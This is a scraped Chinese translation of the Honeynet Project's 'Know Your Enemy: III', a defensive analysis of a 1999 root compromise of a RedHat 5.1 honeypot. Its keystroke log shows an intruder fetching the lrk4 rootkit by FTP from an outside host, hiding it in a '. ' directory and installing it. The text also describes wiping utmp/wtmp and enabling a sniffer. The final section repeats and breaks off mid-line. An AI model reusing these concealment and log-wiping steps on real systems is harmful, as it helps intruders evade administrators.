Know Your Enemy: III
They Gain Root
Honeynet Project
http://project.honeynet.org
http://www.xfocus.org
Last Modified: 27 March, 2000
本文是对入侵者进行研究系列文章中的第三篇。第一篇讲述了入侵者们的探测行为、分类及利用漏洞的过程,第二篇聚焦于如何探测这些入侵企图、鉴别他们使用了哪些工具、他们所寻找的漏洞有哪些……这篇文章,则讲述了当他们获得root权限后,所做的事情,重点放在他们是如何隐藏踪迹以及之后如何做。可以从这里下载原始数据进行分析。
入侵者是谁
就象我们在第一篇文章里所说的,多数的入侵者并没有考虑太多的策略方面的问题,他们更重视的是轻易地入侵,而非针对某些特定的信息或者某个特定的公司。他们把注意力集中于最有效的几个漏洞利用程序上,然后在互联网上寻找相应的主机——迟早他们会找到适合入侵的机器的……
当他们获得root权限这后,第一件事往往是抹去他们的踪迹,他们需要确保系统管理员没有发现系统被侵袭,并且不希望留下任何日志或者他们活动的记录。然后,他们会使用你的机器来扫描网络中的其它系统,或者静静地潜伏,以求获得更多的资料。为了更好地了解他们是如何侵害系统的,我们将沿着一个入侵者的入侵步骤来观察。我们的系统——mozart,上面运行的操作系统是RedHat 5.1。系统在1999年4月27日受到攻击,下面的一些入侵过程的记录,是从系统日志及击键记录中提取的,我们对系统日志及击键都做了验证,所有的系统日志都是在一个受保护的syslog服务器上的,所有的击键都是由一个被嗅探器——称为sniffit捕获的。如果你想了解更多关于这些记录获得的技巧的话,请参见另一篇文章——建立网络陷阱。在本文中,我们称这个入侵者为“他”——因为我们无法得知其真正的性别。
漏洞利用
在4月27日的00:13,有一个家伙在域名为1Cust174.tnt2.long-branch.nj.da.uu.net的地方对我们进行扫描,针对了包括imap漏洞在内的几个特定的漏洞,这些入侵者是比较讨厌的,因为他们一下扫描了整个网段,(想了解更多关于这次探测的信息,可以参见系列文章中的第二篇 )。
Apr 27 00:12:25 mozart imapd[939]: connect from 208.252.226.174
Apr 27 00:12:27 bach imapd[1190]: connect from 208.252.226.174
Apr 27 00:12:30 vivaldi imapd[1225]: connect from 208.252.226.174
很显然地,他找到了一些他所乐见的东西,并且在06:52和16:47又回来了。他开始了一次针对mozart机器的彻底扫描,并且确定了这台机器存在着mountd的安全漏洞,这个漏洞是Red Hat 5.1中存在的一个会危及root安全的漏洞,我们可以从/var/log/messages中看到,这个入侵者应该已经获得了超级用户权限,他所使用的工具看上去象是ADMmountd.c或者一些极其类似的程序。
Apr 27 16:47:28 mozart mountd[306]: Unauthorized Access by NFS client 208.252.226.174.
Apr 27 16:47:28 mozart syslogd: Cannot glue message parts together
Apr 27 16:47:28 mozart mountd[306]: Blocked attempt of 208.252.226.174 to mount
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P
~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~P~
在运行了这个漏洞利用程序之后,我们可以从/var/log/messages中看到,这个入侵者马上用crak0的帐号登陆,而后su成用户rewt——这两个用户都是由该漏洞利用程序添加的,现在这位入侵者对我们的系统终于拥有了最高权限了。
Apr 27 16:50:27 mozart login[1233]: FAILED LOGIN 2 FROM 1Cust102.tnt1.long-branch.nj.da.uu.net FOR crak, User not known to the underlying authentication module
Apr 27 16:50:38 mozart PAM_pwdb[1233]: (login) session opened for user crak0 by (uid=0)
[1] [2] [3] 下一页
Apr 27 16:50:38 mozart login[1233]: LOGIN ON ttyp0 BY crak0 FROM 1Cust102.tnt1.long-branch.nj.da.uu.net
Apr 27 16:50:47 mozart PAM_pwdb[1247]: (su) session opened for user rewt by crak0(uid=0)
抹去踪迹
现在这个入侵者是我们系统的root了,下一步,他要确定他不会被逮到,所以他首先察看了一下是否有其它用户登陆在系统中。
[crak0@mozart /tmp]$ w
4:48pm up 1 day, 18:27, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
crak0 ttyp0 1Cust102.tnt1.lo 4:48pm 0.00s 0.23s 0.04s w
当他确定自己是安全时,他就开始准备将自己藏匿于无形了。最常见的做法是将日志文件中所有的入侵证据先擦除,并且将某些系统中的二进制程序替代为木马——比如ps和netstat,这样一般情况下系统管理员就无法发现入侵者的踪迹了。当一切就绪时,这个入侵者就可以在你几乎无法发现他的情况下,大摇大摆地对你的系统进行完全的控制了。他们用来隐藏自已踪迹的工具,一般情况下我们称之为rootkits,一个常见的rootkits就是lrk4,通过执行它,有许多有用的程序将在一瞬间被替换以便使入侵者消失于无形。如果你想了解更多的关于rootkits的消息,可以看看lrk4的说明文件。这可能会帮助你更多地了解rootkits,我还推荐你看看hide-and-seek这篇由网络黑客写的文档,应该对隐藏踪迹更有些主意。
在系统被入侵后的短短几分钟后,我们可以观察到这个入侵者下载了一个rootkit,并且运行命令"make install"完成了对它的安装,下面就是入侵者在隐藏自身时的一些击键记录。
cd /dev/
su rewt
mkdir ". "
cd ". "
FTP technotronic.com
anonymous
[email protected]
cd /unix/trojans
get lrk4.unshad.tar.gz
quit
ls
tar -zxvf lrk4.unshad.tar.gz
mv lrk4 proc
mv proc ". "
cd ". "
ls
make install
注意到这个入侵者做了一件事,就是建立了一个隐藏目录". ",然后把rootkit放在这里面,这个目录不会被"ls"命令列出来,而如果运行了"ls -la"命令的话,这个目录看起来也象是该目录自身。当然你可以通过运行"find"命令来找出它来。(当然这必须建立在你的find没有被rootkit取代的情况下)。
mozart #find / -depth -name "*.*"
/var/lib/news/.news.daily
/var/spool/at/.SEQ
/dev/. /. /procps-1.01/proc/.depend
/dev/. /.
/dev/
这个入侵者虽然看来对装后门木马有比较丰富的经验,担对如何清除日志文件中自己的入侵记录去没啥主意,他并非利用一些清除日志的工具如zap2或者clean来做这件事,而是直接拷贝了/dev/null(这是一个设备特殊文件,为空)到/var/run/utmp及/var/log/utmp,然后删除了/var/log/wtmp,这样,如果你发现这些文件为空,或者试图打开它的时候,你会碰上错误提示:
[root@mozart sbin]# last -10
last: /var/log/wtmp:
No sUCh file or Directory
Perhaps this file was removed by the operator to prevent logging last info.
下一步
现在你的系统看上去已经足够好了,入侵者往下往往会做两件事:第一,他们通过用你的机器来对网络中其它主机系统进行漏洞扫描;第二,他们希望藏得更深,并且看看他们还能从这个系统中得到什么,比如说其它用户的帐号……咱们这位入侵者选择了第二条,他在系统中安装了一个嗅探器以捕获相关的网络流量,包括telnet以及ftp的一些信息——这样他就可以获得登陆的用户名及密码,我们在/var/log/messages里看到系统在受攻击后一小段时间,网卡被置于混杂模式,以接收各种数据包了。
上一页 [1] [2] [3] 下一页
Apr 27 17:03:38 mozart kernel: eth0: Setting promiscuous mode.
Apr 27 17:03:43 mozart kernel: eth0: Setting promiscuous mode.
当安装木马、清除日志以及开启嗅探器这些工作都完成后,入侵者离开了我们的系统,当然,一段时间后,他一定还会回来看看,嗅探器是否捕获到了一些有用的信息。
事态控制
当我们的这位朋友离开系统后,我就有机会好好检查一下系统究竟发生了什么。我对咱们被改变的文件、日志以及嗅探器得到的东西比较感兴趣,首先我用tripwire来判断哪些文件被修改或编辑的。需要确保,你通过可信的版本运行你的tripwire,我一般是用一个编译成静态的,存放于写保护软盘之上的的tripwire来判断的,输出如下:
added: -rw-r--r-- root 5 Apr 27 17:01:16 1999 /usr/sbin/sniff.pid
added: -rw-r--r-- root 272 Apr 27 17:18:09 1999 /usr/sbin/tcp.log
changed: -rws--x--x root 15588 Jun 1 05:49:22 1998 /bin/login
changed: drwxr-xr-x root 20480 Apr 10 14:44:37 1999 /usr/bin
changed: -rwxr-xr-x root 52984 Jun 10 04:49:22 1998 /usr/bin/find
changed: -r-sr-sr-x root 126600 Apr 27 11:29:18 1998 /usr/bin/passwd
changed: -r-xr-xr-x root 47604 Jun 3 16:31:57 1998 /usr/bin/top
changed: -r-xr-xr-x root 9712 May 1 01:04:46 1998 /usr/bin/killall
changed: -r
(出处:http://www.sheup.com)
上一页 [1] [2] [3]
Apr 27 17:03:43 mozart kernel: eth0: Setting promiscuous mode.
当安装木马、清除日志以及开启嗅探器这些工作都完成后,入侵者离开了我们的系统,当然,一段时间后,他一定还会回来看看,嗅探器是否捕获到了一些有用的信息。
事态控制
当我们的这位朋友离开系统后,我就有机会好好检查一下系统究竟发生了什么。我对咱们被改变的文件、日志以及嗅探器得到的东西比较感兴趣,首先我用tripwire来判断哪些文件被修改或编辑的。需要确保,你通过可信的版本运行你的tripwire,我一般是用一个编译成静态的,存放于写保护软盘之上的的tripwire来判断的,输出如下:
added: -rw-r--r-- root 5 Apr 27 17:01:16 1999 /usr/sbin/sniff.pid
added: -rw-r--r-- root 272 Apr 27 17:18:09 1999 /usr/sbin/tcp.log
changed: -rws--x--x root 15588 Jun 1 05:49:22 1998 /bin/login
changed: drwxr-xr-x root 20480 Apr 10 14:44:37 1999 /usr/bin
changed: -rwxr-xr-x root 52984 Jun 10 04:49:22 1998 /usr/bin/find
changed: -r-sr-sr-x root 126600 Apr 27 11:29:18 1998 /usr/bin/passwd
changed: -r-xr-xr-x root 47604 Jun 3 16:31:57 1998 /usr/bin/top
changed: -r-xr-xr-x root 9712 May 1 01:04:46 1998 /usr/bin/killall
changed: -r
(出处:http://www.sheup.com/)
上一页 [1] [2] [3] [4]